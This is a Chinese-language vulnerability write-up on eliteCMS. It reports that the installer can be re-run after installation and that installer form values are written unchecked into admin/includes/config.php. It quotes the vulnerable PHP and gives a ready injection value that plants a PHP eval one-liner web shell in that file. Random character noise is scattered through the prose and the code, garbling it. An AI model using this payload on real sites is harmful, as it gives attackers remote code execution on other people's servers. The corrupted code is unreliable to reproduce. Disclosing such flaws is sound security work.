eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装
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$ @0 D" {7 g  l- b( \+ H" d另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
7 A; I: N; v% ~; Z我们来看代码：

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" F& T$ e  m1 u0 M& A' r9 Velseif ($_GET['step'] == "4") {
    $file = "../admin/includes/config.php";
    $write = "<?php\n";
% l% m- {4 M" Z( h    $write .= "/**\n";
4 K7 G. G  T9 [' a    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
' C8 l: L. J9 \8 d4 w+ w# f...略...
    $write .= "*\n";
" h0 {. K( P' Z# ^    $write .= "*/\n";
    $write .= "\n";
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
) z3 k5 b2 c: }7 h7 r    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
2 r/ z9 U2 d, a( W    $write .= "if (!\$connection) {\n";
8 A6 G% l% R4 G- c. _    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
5 I+ a/ q$ [' v* O; w+ s* R- c    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
. k0 {9 z. T; ~    $write .= "?>\n";
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    $writer = fopen($file, 'w');
; |( i  E/ q6 \9 S...
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在看代码：

$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
2 @4 ~: [0 b7 C0 A8 H% t+ i* n$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
! z. h4 m+ ]5 e& _$_SESSION['DB_USER'] = $_POST['DB_USER'];
- T! i" n0 W% a2 P$ r. v# S/ v5 l$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
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; n7 Q9 w3 N: F3 L- s: i取值未作任何验证
2 D+ D9 @$ A- t/ y$ S  X如果将数据库名POST数据：

"?><?php eval($_POST[c]);?><?php
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  z+ h) W+ E8 R* E2 z, ?5 o; P将导致一句话后门写入/admin/includes/config.php